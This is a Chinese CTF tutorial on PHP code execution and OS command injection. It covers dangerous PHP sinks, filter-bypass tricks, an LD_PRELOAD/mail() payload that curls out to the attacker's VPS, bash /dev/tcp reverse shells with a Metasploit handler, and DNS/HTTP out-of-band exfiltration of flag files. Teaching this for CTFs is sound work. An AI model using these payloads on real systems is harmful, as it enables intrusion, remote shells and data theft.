今天是代码审计部分的一个技巧补充!前些阵子做了sql注入回顾篇系列!今天开启php代码审计系列!
今天内容主要是CTF中命令注入及绕过的一些技巧!以及构成RCE的一些情景!
正文在详细介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同。他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行。 虽然最终效果都会在目标机器执行操,但是他们还是有区别的,基于这个区别,我们如何找到并利用方式也是有所不同的!
代码执行 代码执行的几种方式
${}执行代码evalassertpreg_replacecreate_function()array_map()call_user_func()/call_user_func_array()array_filter()usort(),uasort()
${}执行代码
方法:${php代码}
${phpinfo()};
eval()执行代码
eval(’echo 2;’);
assert()
普通调用
//?a=phpinfo()<?php assert($_POST[’a’]);?>
assert函数支持动态调用
//?a=phpinfo()<?php$a = ’assert’;$a($_POST[’a’]);?>
php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
以上两种调用方法在php7.0.29版本之前都测试成功,7.0.29版本之后又动态调用的方法无法成功。
在7.0.29版本之后发现的奇怪的一点
<?php//?a=phpinfo()$a = ’assert’;$a($_POST[’a’]);?>//phpinfo()无法执行成功
<?php$a = ’assert’;$a(phpinfo());?>//成功执行phpinfo()
preg_replace()
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
preg_replace 执行一个正则表达式的搜索和替换。
执行代码需要使用/e修饰符。如果不使用/e修饰符,代码则不会执行
$a = ’phpinfo()’;$b = preg_replace('/abc/e',$b,’abcd’);
create_function()
说明
string create_function ( string $args , string $code )
该函数用来创建匿名函数。这个函数的实现大概是这样的
$b = create_function(’$name’,’echo $name;’);//实现function niming($name){echo $name;}$b(yang);niming(’yang’);
第二个参数是执行代码的地方,将payload放在第二个参数的位置,然后调用该函数就可以执行payload了。执行代码
$a = ’phpinfo();’;$b = create_function(' ',$a);$b();
上面这种方法是最直接的,接下来看一点有趣的。
自己写的小示例
$id=$_GET[’id’];$code = ’echo $name. ’.’的编号是’.$id.’; ’;$b = create_function(’$name’,$code);//实现function niming($name){echo $name.'编号'.$id;}$b(’sd’);
这里直接传入phpinfo是不行的,构造的payload
?id=2;}phpinfo();/*
传入后,代码如下
function niming($name){echo $name.编号2; }phpinfo();/*}
这样就执行了代码,再给出网上找的一个例子。
<?phperror_reporting(0);$sort_by = $_GET[’sort_by’];$sorter = ‘strnatcasecmp’;$databases=array(’1234′,’4321′);$sort_function = ‘ return 1 * ‘ . $sorter . ‘($a['’ . $sort_by . ’'], $b['’ . $sort_by . ’']);’;usort($databases, create_function(‘$a, $b’, $sort_function));?>
构造的payload如下
?sort_by=”]);}phpinfo();/*
在自己写示例的时候,因为网上的一个示例纠结了挺久。代码如下
<?php//02-8.php?id=2;}phpinfo();/*$id=$_GET[’id’];$str2=’echo ’.$a.’test’.$id.';';echo $str2;echo '<br/>';echo '==============================';echo '<br/>';$f1 = create_function(’$a’,$str2);echo '<br/>';echo '==============================';?>
纠结的原因是在这个例子中,构造$str2的时候,将变量a和变量b都写在了引号之外,但是变量a是匿名函数的参数,如果直接写在单引号外面的话,解析的时候会认为$a没有赋值,从而设置为空。继续往下看,匿名函数也就无法正常的执行。所以就在想办法将$a写在单引号里面,使其可以正常的作为匿名函数的第二个参数。
array_map()
官方文档
array array_map ( callable $callback , array $array1 [, array $... ] )array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
漏洞演示
//?a=assert&b=phpinfo();$a = $_GET[’a’];$b = $_GET[’b’];$array[0] = $b;$c = array_map($a,$array);
call_user_func()/call_user_func_array()
和array_map()函数挺像的。
官方文档
call_user_func()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
call_user_func_array()
mixed call_user_func_array ( callable $callback , array $param_arr )把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
示例
call_user_func()
// ?a=phpinfo();call_user_func(assert,$_GET[’a’]);
call_user_func_array()
//?a=phpinfo();$array[0] = $_GET[’a’];call_user_func_array('assert',$array);
array_filter()
官方文档
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
示例
$array[0] = $_GET[’a’];array_filter($array,’assert’);
usort()/uasort()
usrot官方文档
bool usort ( array &$array , callable $value_compare_func )本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
shell_1
<?php// ?1[]=test&1[]=phpinfo();&2=assertusort(...$_GET);?>
只有在php5.6以上环境才可使用详解
关于...$_GET是php5.6引入的新特性。即将数组展开成参数的形式。
shell_2
下面这种写法只在php5.6版本以下可以使用。
// ?1=1+1&2=phpinfo();usort($_GET,’asse’.’rt’);
命令执行 常见命令执行函数
system() passthru() exec() shell_exec() `反引号 ob_start() mail函数+LD_PRELOAD执行系统命令 system()➜ ~ php -r 'system(’whoami’);'
passthru()
➜ ~ php -r 'passthru(’whoami’);'
exec()
➜ ~ php -r 'echo exec(’whoami’);'
shell_exec()
➜ ~ php -r 'echo shell_exec(’whoami’);'`反引号
➜ ~ php -r 'echo @`whoami`;'ob_start()
官方文档
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
使用
<?php ob_start('system'); echo 'whoami'; ob_end_flush();?>//输出www-data
mail函数+LD_PRELOAD执行系统命令
思路
LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。
利用
a.c
#include <stdlib.h>#include <stdio.h>#include <string.h> int main(){void payload() {system('curl http://vps_IP:4123/?a=`whoami`');} int geteuid() {if (getenv('LD_PRELOAD') == NULL) { return 0; }unsetenv('LD_PRELOAD');payload();}}
编译
gcc -c -fPIC a.c -o a gcc -shared a -o a.somail.php
<?phpputenv('LD_PRELOAD=/var/www/html/a.so');mail('a@localhost','','','','');?>
监听vps的4123端口,访问mail.php。
绕过姿势
空格
在bash下,可以用以下字符代替空格
<${IFS}$IFS$9%09
测试
root@kali:~# cat<test.txt hello world! root@kali:~# cat${IFS}test.txt hello world! root@kali:~# cat$IFS$9test.txt hello world! root@kali:~#这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串!
%09测试
<?php$cmd = $_GET[’cmd’];system('$cmd');?>//http://ip/index.php?cmd=cat%091.txt
命令终止符
%00 %20#命令分隔符这里介绍5种姿势
%0a 符号
%0d 符号
; 符号在 shell 中,担任”连续指令”功能的符号就是”分号”
& 符号
& 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息,这里36210就是该进程的PID
| 符号
管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示
敏感字符绕过
这里假设过滤了cat
利用变量绕过
root@kali:~# a=l;b=s;$a$b
利用base编码绕过
root@kali:~# echo ’cat’ | base64Y2F0Cg==root@kali:~# `echo ’Y2F0Cg==’ | base64 -d` test.txthello world!root@kali:~#
未定义的初始化变量
cat$x /etc/passwd
连接符
cat /etc/pass’w’d
七个字的命令执行
这题是利用重命名文件绕过的,所以可以这样进行调用,因为限制了命令的长度,所以无法直接构造,只能通过文件构造
这里先介绍一下小技巧,linux下创建文件的命令可以用1>1创建文件名为1的空文件
进一步fuzz发现a>1居然也可以,虽然会报错,但是还是可以创建空文件。
ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加n
有了这个基础我们再来看这道题
<?phpif(strlen($_GET[1])<8){ echo shell_exec($_GET[1]);}?>
简单的代码,可以利用
1>wget1>域名.1>com1>-O1>she1>ll.p1>pls>ash a
这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来
然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序
ls -t>a
网络地址转化为数字地址
网络地址有另外一种表示形式就是数字地址,比如127.0.0.1可以转化为2130706433可以直接访问http://2130706433或者http://0x7F000001这样就可以绕过.的ip过滤,这里给个转化网址http://www.msxindl.com/tools/ip/ip_num.asp
GCTF RCE
这题过滤了很多东西,下面说一下比较重要的
||&|;|%{}| |’’|.|
这里给个payload
%0acat%09%0Acat$IFS$9%0acat
用%0a绕过curl然后在从我前面绕过空格的payload中随便挑一个没有过滤的
通配符绕过
Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件。有关标准通配符的更多信息,并不是每个人都知道有很多bash语法是可以使用问号“?”,正斜杠“/”,数字和字母来执行系统命令的。你甚至可以使用相同数量的字符获取文件内容。
我们可以通过man 7 glob 查看通配符帮助或者直接访问linux官网查询文档
这里我为大家举个栗子:
例如ls命令我们可以通过以下语法代替执行:
/???/?s --help
由于有师傅已经写的很好了,我也就不献丑了!
处理无回显的命令执行
1.利用自己的vps
第一种是利用bash命令并在本地进行nc监听结果查看回连日志,然后就行
先在vps处用nc进行监听
nc -l -p 8080 -vvv
然后在靶机命令执行处输入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1
第二种是msg反向回连
同样vps用msg监听
vps的msf监听:use exploit/multi/handlerset payload linux/armle/shell/reverse_tcpset lport 8080set lhost xxx.xxx.xxx.xxxset exitonsession falseexploit -j
然后在靶机命令执行处输入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1
即可getflag
2.利用ceye平台
平台的payload
记录在http request中
题目地址
http://192.168.10.55/后台源码
<?php$a = $_GET[’id’];system('$a');?>
payload
curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami`
只能使用linux的curl访问才会成功,在浏览器直接访问时无效的。效果
图1
记录在dns query中
简单介绍
DNS在解析的时候是逐级解析的,并且会留下日志,所以可以将回显放在高级域名,这样在解析的时候就会将回显放在高级域名中,我们就可以在dns query中看到回显。举个例子
在注册ceye.io之后会分配一个三级域名。就是******.ceye.io。
ping `whoami`.******.ceye.io
上面这条命令最终在ping的时候ping的是“root.******.ceye.io”,root就是我们构造的恶意命令执行的结果,我们把它放在四级域名这里,这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。
所以这种方法的使用必须有ping命令。
真题解析
题目存在robots.txt文件,访问发现两个文件
index.txtwhere_is_flag.php
index.php代码
<?php include('where_is_flag.php');echo 'ping';$ip =(string)$_GET[’ping’];$ip =str_replace('>','0.0',$ip);system('ping '.$ip);
可以看到存在ping命令,但是测试没有回显,于是就采用dnslog的方式来查看回显。payload
ping `cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io# 因为域名中不允许有空格,但是php代码中可能会含有空格,所以使用sed命令将php代码的空格替换为xx
最终的url
http://192.168.5.90/?ping=`cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
在dns query中查看
图2
可以看到文件的内容是
<?php $flag='dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php';?>
由此得知flag.php的位置,继续打印flag.php的内容获取flag的url
http://192.168.5.90/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
图三
得到flag。
Think one Think
命令注入的利用其实跟sql注入流程相似,首先找到命令执行点,然后一步一步bypass,最好自己搭建环境实地测试,同时结合官方文档和资料,最终就会得到你需要的payload!
以上就是CTF命令执行及绕过技巧的详细内容,更多关于CTF命令执行及绕过技巧的资料请关注乐呵呵网其它相关文章!